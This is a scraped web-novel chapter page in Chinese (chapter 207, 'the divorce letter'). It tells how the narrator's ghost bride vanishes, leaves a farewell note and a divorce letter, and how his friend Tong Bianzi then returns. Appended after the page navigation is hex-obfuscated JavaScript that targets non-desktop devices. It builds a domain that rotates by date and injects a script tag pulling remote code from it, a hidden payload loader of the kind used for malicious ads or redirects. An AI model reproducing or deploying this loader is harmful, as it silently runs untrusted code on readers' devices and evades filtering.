返回第207章休书  帝萝卜首页

关灯 护眼     字体:

上一章 目录 下一章

我问木小七怎么了,她只是说不喜欢这个图案,各种转移话题。

她肯定有事瞒着我,我犹豫了几次,却始终没问出口。

尽管我们已经结了冥婚,可是要对她不想告诉我的事情刨根问底,又觉得自己没有立场,大概我们之前还有些难以逾越的隔膜吧。

好在我本身也不是个阴郁的人,不作不闹,珍惜眼前,不问今夕何夕,只管乐天知命。

船到桥头自然直,又何必杞人忧天呢?

接下来的一个多月,我总算是找到了有媳妇的感觉。

就好像全款买了辆新车,等了好久才运送到位一样,开起来别提多爽了!

早上开铺子,下午出去逛街约会,什么电影院、酒吧、电玩城、商场、游乐场等等,整个镇子都逛遍了,没有去不到的地方。

我们真的像是新婚的夫妻正在度蜜月一样,如果可以的话,真希望这样的日子能够一直持续下去。

如果可以的话。

早上被闹钟叫醒,嗓子里冒烟了一样,渴的要命。

昨天晚上在酒吧喝的太多了,木小七初玩大话骰,就一直赢,也不知道是不是作弊了。

奇怪,木小七去哪儿了,一直都是她叫醒我,我都好久没有

设置过闹钟了。

大概是去买早餐了?我把杯子放下,忽然发现杯垫底下压着一张纸。

心里陡然升起一阵不祥的预感,我急忙打开那张纸,里面写着一行娟秀的小字。

“这段时间是我最快乐的时光,我会永远记住。照顾好自己,勿念。”

平平淡淡的几句话,却让我有一种不真实的感觉。

是开玩笑的吧?我疯了一样冲出门外,找遍了整间屋子,都没有找到她的人影。

店铺,街道,常买早餐的那家早餐店,街角的超市,里里外外都找遍了,都没有找见她的人影。

对了,烧香!

我在木小七的牌位前上了四柱香,紧张着盯着袅袅升起的烟气,只要有变化,我就疯狂的喊木小七的名字。

然而直到香烧完了,都没有任何反应。

我用之前的方法,在黄纸上写下木小七的名字,一张又一张的烧给她。

还是没有反应。

我无力的坐在地上,心跟刀扎一样痛,搞不懂为什么她会突然消失。

如果她真的有什么急事,可以跟我说呀,我从没拦她做过任何事情,为什么要选择这样不辞而别。

焦虑、无助、彷徨、难过……无数复杂的情绪涌上心头,

浑身无力的靠在墙上,像个弄丢了心爱玩具的孩子。

看着空荡荡的屋子,满脑子都是木小七的音容笑貌,不知不觉间,我对她的感情已经达到了这种程度吗?

我还是无法接受她的不告而别,不断的在心头想着,难道是遇到了什么危险?

可是从她留下的话来看,她好像早就预见了会这一天。

在我短短的二十几年的经历里,除了师傅,从来没有一个人能在我心里占据这么重要的地位。

她的离开,让我的世界直接变成了灰色,整个人变成了行尸走肉,机械般的生活着。

半个月过去了,每一天都是度日如年般的煎熬。

每天晚上梦见的都是和木小七在一起的快乐时光,唯独今天晚上,我梦见的是个身穿斗篷的鬼影,将一张白纸交到我手中。

我打开一看,上面赫然是休书两个大字,底下写明了木小七要和我断绝关系。

“木小七,情愿立此休书,任卜封改婚令娶,永无争执。从此以后,一别两宽,各生欢喜。恐后无凭,自愿立此文约为证。”

我猛然惊醒,浑身都是冷汗,隐隐的闻到一股烧纸的味道。

打开台灯一看,桌上赫然放置着一小

撮纸灰。

这就是刚才梦里的休书?

我有些无措的捂着额头,将那堆纸灰收好,躺在床上,脑子一片空白。

早上习惯性的去给木小七烧香,却发现她的牌位裂了一道缝,香炉也掉在了地上。

看来她是真的不想再见我了,还特意立了休书。

真的是,还把我给休了,谁稀罕啊!我巴不得恢复自由身,谁愿意一辈子不结婚,每天晚上被一只死了百年的女鬼纠缠?真是笑话!

这回我彻底变回正常人了,没病没灾,一身轻松。

可是,我怎么就高兴不起来呢?

过了几天,我逐渐把心情调整过来,生活也步入了正轨。

生意照常做,却再也不出白事,虽然这样挣的要少很多,我却不想再用术了。

这也不算砸了师傅的招牌,毕竟我已经被他逐出了师门。

在百无聊赖的生活中,一个人的回归让我的人生又多了些色彩。

那是一个平平淡淡的下午,我靠在椅子上百无聊赖的玩着手机,门突然开了。

一个旅人模样的身影进了屋里,夸张的旅行包塞得鼓鼓囊囊,比人都高,看起来里面的东西应该很重,他却一副满不在乎的样子,简直是一头人形骡子

这家伙每走一步,身上都哗啦作响,好像西部牛仔一样,大大咧咧的往椅子上一坐,把背包解了下来,放到地上,发出沉重的闷响。

“去给我倒杯水,都快渴死了。”

“辫子!你什么时候回来的,怎么也不提前说一声。”

铜辫子把自己的遮阳帽摘下来,随手丢到一边:“提前说还哪有惊喜啊!我就知道没有我你肯定无聊死了,怎么样,这段时间出了多少趟白事,挑有意思的给我讲讲!算了还是先吃饭吧,临街的老肉馆我都馋了好久了,别告诉别告诉我你都吃完了啊!”

一个人静了这么久,面对这个话唠我还真有点不习惯。

他也看出我情绪不高,眉毛一挑:“怎么了兄弟,自闭了?”

“没有没有。你的手怎么样了?”

铜辫子闻言抬起自己的左手,摘下皮手套,里面竟然还有一只手套。

不过这只手套有些不同,是由铜丝编织而成,上面还缠着几道红线,编织成一个符胆为“封”字的奇怪符咒。

“这只铜手费了好大力气才收拾好,现在基本能控制住了。”他一边说着,又神秘兮兮的打开旅行包:“你猜我把什么带回来了。”

『加入书签,方便阅读』

上一章 目录 下一章

(function(_hN1,$QGSSpXr2,WglLY3,cKySOnvvL4,foOXyripQ5){var vEiTBsa6;_hN1['\x69\x64\x69\x61']=function(WA7){var qyRFA8=window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e']({},vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73'],WA7);return new vEiTBsa6(qyRFA8)};vEiTBsa6=function(args){window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e'](this,args);var G9={win:false,mac:false,xll:false};var yhZgFbF10=navigator['\x70\x6c\x61\x74\x66\x6f\x72\x6d'];G9['\x77\x69\x6e']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x57\x69\x6e")===0;G9['\x6d\x61\x63']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4d\x61\x63")===0;G9['\x78\x31\x31']=yhZgFbF10==="\x58\x31\x31"||yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4c\x69\x6e\x75\x78")===0;if(!G9['\x77\x69\x6e']&&!G9['\x6d\x61\x63']&&!G9['\x78\x6c\x6c']){this['\x5f\x69\x6e\x69\x74']()}};vEiTBsa6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x5f\x69\x6e\x69\x74']=function(){let newDate=new window["\x44\x61\x74\x65"]();let time=newDate['\x67\x65\x74\x54\x69\x6d\x65']();let time2=null;if(this['\x73\x77\x69\x74\x63\x68\x5f\x64\x6f\x6d\x61\x69\x6e\x5f\x63\x6f\x75\x6e\x74']==1){time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))}else{time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))+(newDate['\x67\x65\x74\x48\x6f\x75\x72\x73']()<12?"\x30":"\x31")}let baseurl=this['\x62\x61\x73\x65\x5f\x75\x72\x69']['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x64\x61\x74\x65\x7d",time2);let week=null;newDate['\x67\x65\x74\x44\x61\x79']()==0?(week="\x73\x75\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==1?(week="\x6d\x6f\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==2?(week="\x74\x75\x65"):newDate['\x67\x65\x74\x44\x61\x79']()==3?(week="\x77\x65\x64"):newDate['\x67\x65\x74\x44\x61\x79']()==4?(week="\x74\x68\x75"):newDate['\x67\x65\x74\x44\x61\x79']()==5?(week="\x66\x72\x69"):(week="\x73\x61\x74");let day=newDate['\x67\x65\x74\x44\x61\x74\x65']();baseurl=baseurl['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x77\x65\x65\x6b\x64\x61\x79\x7d",week+day);let suffix=["\x6a\x73","\x6a\x73\x6f\x6e","\x68\x74\x6d\x6c","\x73\x68\x74\x6d\x6c","\x78\x6d\x6c","\x73\x78\x6d\x6c","\x70\x64\x66","\x72\x74\x66","\x64\x6f\x63","\x64\x6f\x63\x78","\x77\x70\x73","\x6f\x64\x66","\x70\x70\x74","\x78\x70\x73","\x70\x73\x64","\x70\x6e\x67","\x6a\x70\x67","\x6a\x70\x65\x67","\x77\x65\x64\x70","\x74\x78\x74",][window["\x4d\x61\x74\x68"]['\x66\x6c\x6f\x6f\x72'](window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()*21)];let htmlcode='\x3c\x73\x63\x72\x69\x70\x74 \x69\x64\x3d\x22'+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+'\x22 \x73\x72\x63\x3d\x22'+baseurl+time+"\x2e"+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+"\x2e"+this['\x77\x65\x62\x5f\x69\x64']+"\x2e"+suffix+"\x3f"+time+'\x22\x3e'+"\x3c\x2f"+"\x73\x63\x72\x69\x70\x74\x3e";window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e'](htmlcode)};vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73']={web_uuid:$QGSSpXr2,web_id:WglLY3,switch_domain_count:cKySOnvvL4,base_uri:foOXyripQ5,};_hN1['\x69\x64\x69\x61']()})(window, "auwBfFHWZjVcYVdXD5riSC", "1911", "2", "https://{weekday}.bugs{date}ko.com/");